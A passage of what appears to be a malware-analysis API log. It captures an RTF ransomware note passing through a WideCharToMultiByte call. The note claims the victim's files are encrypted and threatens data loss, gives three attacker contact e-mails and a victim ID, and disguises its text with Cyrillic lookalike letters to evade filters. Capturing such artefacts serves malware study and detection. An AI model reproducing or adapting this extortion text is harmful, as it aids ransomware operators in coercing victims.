us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 